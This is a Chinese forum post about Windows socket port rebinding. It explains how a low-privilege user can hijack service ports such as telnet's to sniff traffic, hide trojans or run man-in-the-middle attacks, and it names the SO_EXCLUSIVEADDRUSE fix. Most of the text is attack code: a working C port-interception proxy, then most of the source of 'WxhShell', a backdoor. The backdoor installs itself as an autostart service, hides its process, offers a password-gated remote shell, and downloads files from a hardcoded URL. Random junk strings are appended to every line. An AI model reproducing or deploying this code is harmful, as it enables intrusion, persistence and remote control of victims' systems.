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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: el2bd :  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A{UULVp  
y(Y!?X I  
  saddr.sin_family = AF_INET; F_Z- 8>P  
;} und*q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); , 3,gG "  
.^N/peU q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #6ri-n  
'pm2n0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m6n?bEl6I  
W)9K`hM6  
  这意味着什么?意味着可以进行如下的攻击: d_4T}% q  
_8"O$w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0QPH}Vi5}  
aD=a,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S M!Txe#  
7.C;NT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *4_jA](  
!vX D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^ s1Q*He  
7G.#O}).b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;w'D4p= P  
` jzTmt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MxWy*|J}  
WtViW=j'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RMd[Yr2e  
N5*u]j  
  #include cU ? 0(z7  
  #include M(jgd  
  #include Wm_4avXtO  
  #include    )\sc83L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v[#9+6P=  
  int main() hfnN@Kg?B}  
  { hc~s"Atck  
  WORD wVersionRequested; D!.[q-<  
  DWORD ret; ()K " c#  
  WSADATA wsaData; " Om[~-31  
  BOOL val; Y3r%B9~  
  SOCKADDR_IN saddr; C K:y?  
  SOCKADDR_IN scaddr; KC(xb5x Y  
  int err; NLS%Sq  
  SOCKET s; b`)){LR  
  SOCKET sc; V2$h8\a  
  int caddsize; CLeG<Hi ~  
  HANDLE mt; 1&^MfP}  
  DWORD tid;   t=_J9|  
  wVersionRequested = MAKEWORD( 2, 2 ); )jkXS TZ  
  err = WSAStartup( wVersionRequested, &wsaData ); dYSr4p b  
  if ( err != 0 ) { A/s>PhxV  
  printf("error!WSAStartup failed!\n"); M7+nW ; e%  
  return -1; Ul2R'"FB  
  } +|bmT  
  saddr.sin_family = AF_INET; AgV G`q  
   >y.%xK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (WK&^,zQn  
t<~$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D|rFu  
  saddr.sin_port = htons(23); dY@WI[yog  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a["2VY6Eq@  
  { vJ\pR~?  
  printf("error!socket failed!\n"); N` aF{3[  
  return -1; HHq_P/'  
  } {.Z}5K  
  val = TRUE; T%6&PrQ7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <@}I0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f8M$45A'  
  { p!sWYui  
  printf("error!setsockopt failed!\n"); w=j  
  return -1; v-yde >(  
  } }e2(T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PUo/J~v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q-MQ9'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?*?RP)V  
S/Fkw4%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2>86oP&  
  { mjWU0Gh%*  
  ret=GetLastError(); yHHt(GM|o  
  printf("error!bind failed!\n"); #{k|I$  
  return -1; f>piHh?  
  } h3*Zfl<]  
  listen(s,2); 3pK*~VK  
  while(1) L:_bg8eD#  
  { u:m]CPz  
  caddsize = sizeof(scaddr); ogL EtqT  
  //接受连接请求 cU{e`<xjA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7<%<Ff@^)O  
  if(sc!=INVALID_SOCKET) (T!9SU  
  { .C2TQ:B,.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kGd<5vCs  
  if(mt==NULL) fO0(Z  
  { OfctoPP _0  
  printf("Thread Creat Failed!\n"); usEwm,b)  
  break; ~_Lr=CD;4  
  } R2(3 >`FJ  
  } S,<EEtXQ  
  CloseHandle(mt); UJfEC0  
  } YqPQ%  
  closesocket(s); uq, { tV  
  WSACleanup(); x~GQV^(l3  
  return 0; {"&SJt[%X  
  }   /1x,h"T\<  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'XzXZJ[uq  
  { ZO4*sIw%  
  SOCKET ss = (SOCKET)lpParam; 5aln>1x>hn  
  SOCKET sc; t Z`z  
  unsigned char buf[4096]; _~q?_'kx  
  SOCKADDR_IN saddr; v^zu:Z*  
  long num; p/U+0f  
  DWORD val; bYi`R)  
  DWORD ret; 2RN)<\P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &Y 4F!Rb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^5A t?I8  
  saddr.sin_family = AF_INET; :WSDf VX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DyQM>xw)t  
  saddr.sin_port = htons(23); Wx~k&[&E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <{2e#Y  
  { !-N6l6N  
  printf("error!socket failed!\n"); X66VU  
  return -1; ]d a^xWK  
  } INkD=tX  
  val = 100; ?Y:8eD"*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zN{K5<7o  
  { \0mb 3Q'  
  ret = GetLastError(); ~(pmLZ<GW}  
  return -1; _R.B[\r@  
  } 8F:e|\SB#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HcedE3Rg  
  { 6_d.Yfbq  
  ret = GetLastError(); wKi^C 8Z2  
  return -1; u1z  
  } mwY IJy[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J?Dq>%+ ^  
  { # eCjn  
  printf("error!socket connect failed!\n"); *P 3V  
  closesocket(sc); `ORECg)  
  closesocket(ss); e"'#\tSG  
  return -1; zGc: @z  
  } n+BJxu?  
  while(1) 3/b;7\M  
  { +,yK;^b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zoDH` h_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yuDZ~0]R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TYlbU<  
  num = recv(ss,buf,4096,0); {X*^s5{;H  
  if(num>0)  ;b`[&g  
  send(sc,buf,num,0); K =wBpLB  
  else if(num==0) XuD=E  
  break; rHf&:~   
  num = recv(sc,buf,4096,0); +J{0 E  
  if(num>0) <c%W")0  
  send(ss,buf,num,0); ZVbl88,(l  
  else if(num==0) Ndo a4L)$  
  break; hUD7_arKF  
  } zfc3)7  
  closesocket(ss); ?UK|>9y}Z  
  closesocket(sc); lj{VL}R  
  return 0 ; o/C\d$i'  
  } {q<03d~9|G  
zO V=9"~{  
2-"0 ^n{  
========================================================== ;U<rc'qE  
{0;3W7  
下边附上一个代码,,WXhSHELL iSFuT7; %  
m$9w"8R  
========================================================== f+|$&p%  
quvanx V-L  
#include "stdafx.h" Up:<=Kgci  
Gcb|W&  
#include <stdio.h> H*bs31i{  
#include <string.h> ALEnI@0  
#include <windows.h> ?d4m!HgR   
#include <winsock2.h>  )@ ~J  
#include <winsvc.h> R-Z~V  
#include <urlmon.h> >yXN,5d[  
2P]L9'N{Y  
#pragma comment (lib, "Ws2_32.lib") `Pw*_2  
#pragma comment (lib, "urlmon.lib") `60gFVu  
4;HJ;0-ps  
#define MAX_USER   100 // 最大客户端连接数 dB+N\HBY  
#define BUF_SOCK   200 // sock buffer n!')wIk  
#define KEY_BUFF   255 // 输入 buffer 5C"QE8R o  
<5G{"U+ \  
#define REBOOT     0   // 重启 .`7cBsXH  
#define SHUTDOWN   1   // 关机 d/}SAvtt  
etd&..]J  
#define DEF_PORT   5000 // 监听端口 *26334B.R  
rJa$9B*^  
#define REG_LEN     16   // 注册表键长度 "+zCS|   
#define SVC_LEN     80   // NT服务名长度 sP-^~ pp  
@]q BF]6  
// 从dll定义API 8scc%t7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YPzU-:3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;SwMu@tg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (mtoA#X1:h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s;1]tD  
S,U Pl}KF  
// wxhshell配置信息 /B5-Fx7j3  
struct WSCFG { GZ{]0$9I'  
  int ws_port;         // 监听端口 ,+g&o^T  
  char ws_passstr[REG_LEN]; // 口令 f50L,4,  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?88`fJ@tk?  
  char ws_regname[REG_LEN]; // 注册表键名 U xD5eJJ  
  char ws_svcname[REG_LEN]; // 服务名 Kf 2jD4z}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fK&e7j`qO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @:tj<\G]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G&;j6<hl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  be e5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /T,Z>R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RUr=fEH  
[]0mX70N  
}; /)xlJUq  
QZX~T|Ckv  
// default Wxhshell configuration BS&;n  
struct WSCFG wscfg={DEF_PORT, 6{ ,HiY  
    "xuhuanlingzhe", En&5)c+js4  
    1, k'$!(*]\b  
    "Wxhshell", bln/1iS  
    "Wxhshell", q~L^au8  
            "WxhShell Service", w_ {,<[#  
    "Wrsky Windows CmdShell Service", *jMk/9oa<N  
    "Please Input Your Password: ", D0mI09=GtQ  
  1, v`V7OD#:j]  
  "http://www.wrsky.com/wxhshell.exe", dq IlD!  
  "Wxhshell.exe" .bVmqR`  
    }; IScRsxFb  
w#N?l!5  
// 消息定义模块 -o+74=E8[?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =pA IvU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^E6d`2w-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'a^{=+  
char *msg_ws_ext="\n\rExit."; pG^}Xf2a  
char *msg_ws_end="\n\rQuit."; >K# ,cxY  
char *msg_ws_boot="\n\rReboot..."; jKZt~I  
char *msg_ws_poff="\n\rShutdown..."; q> s-Y|  
char *msg_ws_down="\n\rSave to "; 4wi(?  
Xnuzr" 4u  
char *msg_ws_err="\n\rErr!"; /U6% %%-D`  
char *msg_ws_ok="\n\rOK!"; mp~{W  
'cNKjL;  
char ExeFile[MAX_PATH]; ds[QwcV9-  
int nUser = 0; T@%m7|P  
HANDLE handles[MAX_USER]; j#0j)k2Q  
int OsIsNt; O:#+%  
M=xQ=j?  
SERVICE_STATUS       serviceStatus; +%N KQ'49I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =e><z9hY  
AM} brO  
// 函数声明 (-NHx o  
int Install(void); IMnP[WA!  
int Uninstall(void); M[~{Vd  
int DownloadFile(char *sURL, SOCKET wsh); _ nP;Fx  
int Boot(int flag); !3oKmL5  
void HideProc(void); $KjTa#[RX7  
int GetOsVer(void); kCUT ^  
int Wxhshell(SOCKET wsl); m-T~fJ  
void TalkWithClient(void *cs); 2X-l{n;>  
int CmdShell(SOCKET sock); fqs]<qi  
int StartFromService(void); hNXBVIL<&  
int StartWxhshell(LPSTR lpCmdLine); W9t"aZor  
ha;l(U>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "Lh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PN$ .X"D8  
m}$+Hdk+7  
// 数据结构和表定义 BpO9As 1um  
SERVICE_TABLE_ENTRY DispatchTable[] = cgC\mM4Nla  
{ (#q<\`  
{wscfg.ws_svcname, NTServiceMain}, `\<37E\N}  
{NULL, NULL} ,jy*1Hjd  
}; }a&mY^  
Pw@olG'Ah  
// 自我安装 5&CDHc7Oj  
int Install(void) rZ_>`}O2  
{ i.iio-  
  char svExeFile[MAX_PATH]; kllQca|$4  
  HKEY key; /?"8-0d  
  strcpy(svExeFile,ExeFile); 8_d -81Dd  
O`cu_  
// 如果是win9x系统,修改注册表设为自启动 TO;.eN!sv  
if(!OsIsNt) { RV-hIdAU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? 8 1X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,pq{& A  
  RegCloseKey(key); R*1kR|*_)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N0n^L|(R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /T0nLp`gi  
  RegCloseKey(key); K#K\-TR|$  
  return 0; #>@z 2K7  
    } v_PdOp[ k  
  } lf>nbvp  
} AF4?IH  
else { A1cb"N^  
=QV ::/  
// 如果是NT以上系统,安装为系统服务 &[?CTZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +c206.  
if (schSCManager!=0) 6S?x D5 (  
{ OySy6IN]q  
  SC_HANDLE schService = CreateService Nq8@Nyp  
  ( >s*DrfX6  
  schSCManager, < /p 8r  
  wscfg.ws_svcname, Mo|wME#M  
  wscfg.ws_svcdisp, d]0a%Xh[  
  SERVICE_ALL_ACCESS, W( *V2<$o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Em13dem  
  SERVICE_AUTO_START, N~=A  
  SERVICE_ERROR_NORMAL, myQ&%M gx  
  svExeFile, IGj`_a  
  NULL, U[_8WJ7+  
  NULL, Aj"7q  
  NULL, $%c{06Oq(  
  NULL, ,<ya@Fi{  
  NULL U;xF#e  
  ); 8{&["?  
  if (schService!=0) Sn3:x5H,l  
  { ^9"KTZc-*  
  CloseServiceHandle(schService); E\)eu1Hw4B  
  CloseServiceHandle(schSCManager); Mxz,wfaH>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lx|',6S  
  strcat(svExeFile,wscfg.ws_svcname); d-!<C7O}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8zQfY^/{M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !ZtSbOC'  
  RegCloseKey(key); V*jsq[q=  
  return 0; h.tY 'F  
    } Q]JX`HgPaU  
  } o96:4j4  
  CloseServiceHandle(schSCManager); ?Z %:  
} p5 ]_}I`+2  
} BQgoVnQo_c  
oJ;rc{n-  
return 1; 0.(<'!"y  
} ~o15#Pfn/  
X} JOX9pK  
// 自我卸载 "HQF.#\#  
int Uninstall(void) Yx?aC!5M  
{ XYbyOM VI  
  HKEY key; hol<dB  
eG] a zt  
if(!OsIsNt) { wODvc9p}]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hCc0sRp  
  RegDeleteValue(key,wscfg.ws_regname); lxb8xY  
  RegCloseKey(key); /NBTvTI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H30OUrD  
  RegDeleteValue(key,wscfg.ws_regname); @Jv# fr  
  RegCloseKey(key); z%"Ai)W/{  
  return 0; \SYvD y]  
  } LPE)  
} P2k7M(I_&  
} CJ w$j`k  
else { - @bp4Z=  
a5wDm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M'jXve(=yF  
if (schSCManager!=0) Q</h-skLZ  
{ E8[XG2ye  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +g\;bLT  
  if (schService!=0) o'UHStk  
  { ubGs/Vzye  
  if(DeleteService(schService)!=0) { !L\'Mk/=A  
  CloseServiceHandle(schService); 2cnj@E:5l  
  CloseServiceHandle(schSCManager); |4SW[>WT:  
  return 0; VuWib+fT  
  } }C~]=Z  
  CloseServiceHandle(schService); fD6GQ*  
  } emWGIo  
  CloseServiceHandle(schSCManager); q.oLmX  
} @FX{M..  
} %!W%#U0  
X8 qIia  
return 1; k ojG- M  
} uW[3G  
dtW0\^ .L  
// 从指定url下载文件 #EwK"S~  
int DownloadFile(char *sURL, SOCKET wsh) 9O;vUy)  
{ G=$}5; t  
  HRESULT hr; 3V-6)V{KaE  
char seps[]= "/"; fi=?n{e'  
char *token; H-&3}   
char *file; zl)&U=4l  
char myURL[MAX_PATH]; YN#XmX%  
char myFILE[MAX_PATH]; :WX0,-Gn  
x;U|3{I o  
strcpy(myURL,sURL); j+>Q#&h9  
  token=strtok(myURL,seps); LZV}U*  
  while(token!=NULL) /yK"t< p  
  { 1P5LH 5  
    file=token; !J# .!}3  
  token=strtok(NULL,seps); /2w@ K_Px6  
  } qX@9N=g`#O  
w6U @tW  
GetCurrentDirectory(MAX_PATH,myFILE); #O|lfl>}  
strcat(myFILE, "\\"); B)a@fmp"a  
strcat(myFILE, file); NV~vuC  
  send(wsh,myFILE,strlen(myFILE),0); Zz")`hUG  
send(wsh,"...",3,0); tp+=0k2i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <IH*\q:7  
  if(hr==S_OK) U"x~Jb3]O  
return 0; ;Q90Y&{L=$  
else TcZN %  
return 1; *gSO&O=  
r<_2qICgP  
} okDJ(AIV+  
wP`sXPSmIu  
// 系统电源模块  coAW9=o}  
int Boot(int flag) eBvW#Hzp  
{ kH2oK:lN  
  HANDLE hToken; m<FK;   
  TOKEN_PRIVILEGES tkp; hho%~^bn(  
jZ#UUnR%  
  if(OsIsNt) { (6-y+ LG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lh!z>IWjOG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,aO@.<"  
    tkp.PrivilegeCount = 1; DPeVKyjU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {rfte'4;=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y-~;E3(  
if(flag==REBOOT) { u_Zm1*'?B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 85C#ja1&  
  return 0; 5G oK"F0i  
} -mC:r&Y>[  
else { d#7]hF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J";=d4Sd  
  return 0; _#(s2.h~J  
} ^Fvr f`A'  
  } 4tnjXP8  
  else { ;_p fwa4  
if(flag==REBOOT) { bqNLkw#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %O_t`wz  
  return 0; &%:*\_2s  
} _/ Tlqzp  
else { 25&nwz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -$m@*L  
  return 0; %09*l%,;  
} & qL<C  
} #'iPDRYy  
 Q>[Ce3  
return 1; @ AggznA8  
} 4L11P  
iP,v=pS6  
// win9x进程隐藏模块 ?q6Z's[  
void HideProc(void) _f66>a<  
{ a+'}XEhSC:  
R( GmU4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O&=KlnI:  
  if ( hKernel != NULL ) FdM<;}6T  
  { g~|y$T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R9q0,yQW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;x16shH  
    FreeLibrary(hKernel); r hZQQOQ  
  } gE1|lY$NL  
e SK((T  
return; n5>B LtY  
} 9PCa*,  
q /:T1a7!  
// 获取操作系统版本 >*{:l,LH  
int GetOsVer(void) |yU3Kt  
{ +/(|?7i@  
  OSVERSIONINFO winfo; A{M+vsL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IuDT=A  
  GetVersionEx(&winfo); n{z8Ao%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iA&oLu[y3  
  return 1; qz87iJp&  
  else +`9yZOaC#  
  return 0; >mew"0Q  
} KZZOi:  
bu_/R~&3{  
// 客户端句柄模块 YV4 : 8At1  
int Wxhshell(SOCKET wsl) :+<t2^)rD  
{ EZ*t$3.T  
  SOCKET wsh; Dl&PL  
  struct sockaddr_in client; x g{VP7  
  DWORD myID; f~U#z7  
G~`'E&/  
  while(nUser<MAX_USER) U-1VnX9m  
{ % kJh6J  
  int nSize=sizeof(client); nZ541o@t9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xl|ghjn  
  if(wsh==INVALID_SOCKET) return 1; $\0TD7p  
OCwW@OC +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qT"drgpi3  
if(handles[nUser]==0) gu^_iU  
  closesocket(wsh); sD2*x T  
else :wSJ-\'$  
  nUser++; x<Iy<v7-  
  } uvR0TIF4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [6G=yp  
{uEu >D$8  
  return 0; Z 4\tY^NI  
} +{ S Maq  
L!?v BL  
// 关闭 socket 6W]OpM  
void CloseIt(SOCKET wsh) QN3 qF|))  
{ \)p4okpR  
closesocket(wsh); ^4RO  
nUser--; ~d&'Lp[3  
ExitThread(0); u"*J[M~  
} aD?# ,  
;,mBT[_ZO  
// 客户端请求句柄 ?rAi=w&c  
void TalkWithClient(void *cs) !~?W \b\:  
{ v^<<[I2 C  
i0VhG :O;  
  SOCKET wsh=(SOCKET)cs; #dHr&1(  
  char pwd[SVC_LEN]; r^fxyN2V  
  char cmd[KEY_BUFF]; }!eF  
char chr[1]; \moZ6J  
int i,j; !p-'t]  
2;3x,<Cg  
  while (nUser < MAX_USER) { M\9at\$  
l#tS.+B7  
if(wscfg.ws_passstr) { l}dj{s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A>4l/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RA#\x.  
  //ZeroMemory(pwd,KEY_BUFF); {bW"~_6}  
      i=0; qw6EPC  
  while(i<SVC_LEN) { UIO6|*ka  
^xzE^"G6  
  // 设置超时 an-\k*w  
  fd_set FdRead; f:n]Exsy  
  struct timeval TimeOut; qK<aZ%V  
  FD_ZERO(&FdRead); FrgW7`s[A  
  FD_SET(wsh,&FdRead); YN_X0+b3C  
  TimeOut.tv_sec=8; yBr$ 0$  
  TimeOut.tv_usec=0; Q~x*bMb.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j@%K*Gb`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A"Tc^Ij  
(r.$%[,.<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 58M'r{8_  
  pwd=chr[0]; 2qt=jz\s  
  if(chr[0]==0xd || chr[0]==0xa) { qPp1:a"   
  pwd=0; Tbe_x s^  
  break; 7yo|ie@S  
  } 1-4   
  i++; Q,OkO?uY  
    } [6Uudiw  
QWU5-p9e8  
  // 如果是非法用户,关闭 socket _K 4eD.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ijx#a&O  
} /&~nM  
NvXj6U*%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |U8>:DEl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6lB{Ao?|  
{KF7j63  
while(1) { nL 1IS  
 Bq~AU#  
  ZeroMemory(cmd,KEY_BUFF); \W3+VG2cA  
s#'|{  
      // 自动支持客户端 telnet标准   "r5'lQI  
  j=0; [{hLF9yPx  
  while(j<KEY_BUFF) { 6^7)GCq [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =YS!soO  
  cmd[j]=chr[0]; ]hCWe0F  
  if(chr[0]==0xa || chr[0]==0xd) { 9nP*N`  
  cmd[j]=0; daaga}]d  
  break; >qSO,$  
  } z'5;f;  
  j++; ^4n2 -DvG  
    } 3MS3O.0]/  
j<. <S {  
  // 下载文件 7AZ5%o  
  if(strstr(cmd,"http://")) { 6Y0/i,d*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ef//G+Z"  
  if(DownloadFile(cmd,wsh)) |N phG|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~EM#Hc,  
  else O+CF/ipX/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eY0Ly7  
  } 5^G7pI7  
  else { *!-}lc^4  
fJSV)\e0  
    switch(cmd[0]) { fS;m+D!j@  
  avYh\xZ  
  // 帮助 n?TO!5RZK  
  case '?': { {Sd@u$&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mSVX4XW<  
    break; `<]P"G  
  } DzX6U[=  
  // 安装 e8WPV  
  case 'i': { +lY\r +;  
    if(Install()) :Su5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OF<[Nh\.  
    else Jgi{7J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z7K!"I  
    break; ^*$WZMMJ1  
    } qiwQUm{  
  // 卸载 $G^H7|PzdC  
  case 'r': { \rw'QAi8r  
    if(Uninstall()) ":(Cpf0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UcKWa>:Fi  
    else rm7*l<v6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'tq\<y  
    break; M8 ^ziZY  
    } S[\cT:{OE  
  // 显示 wxhshell 所在路径 (o6A?37i  
  case 'p': { K4K3< Pg  
    char svExeFile[MAX_PATH]; -7C=- \]  
    strcpy(svExeFile,"\n\r"); (AyRs7Dkn  
      strcat(svExeFile,ExeFile); hs -}:^S`  
        send(wsh,svExeFile,strlen(svExeFile),0); #U6/@l)  
    break; AR[M8RA  
    }  ^qSf  
  // 重启 qqO10~Xc  
  case 'b': { 8&`T<ECq>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v]d?6g  
    if(Boot(REBOOT)) I%VV4,I&pK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b{yH4)O  
    else { V.E.~<7D\  
    closesocket(wsh); Q xj|lr  
    ExitThread(0); 6i?kkULBS  
    } 52q!zx E  
    break; q(${jz4w  
    } K7d1(.  
  // 关机 HeAc(_=C  
  case 'd': { `siy!R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $)i"[  
    if(Boot(SHUTDOWN)) Si%Eimiq  
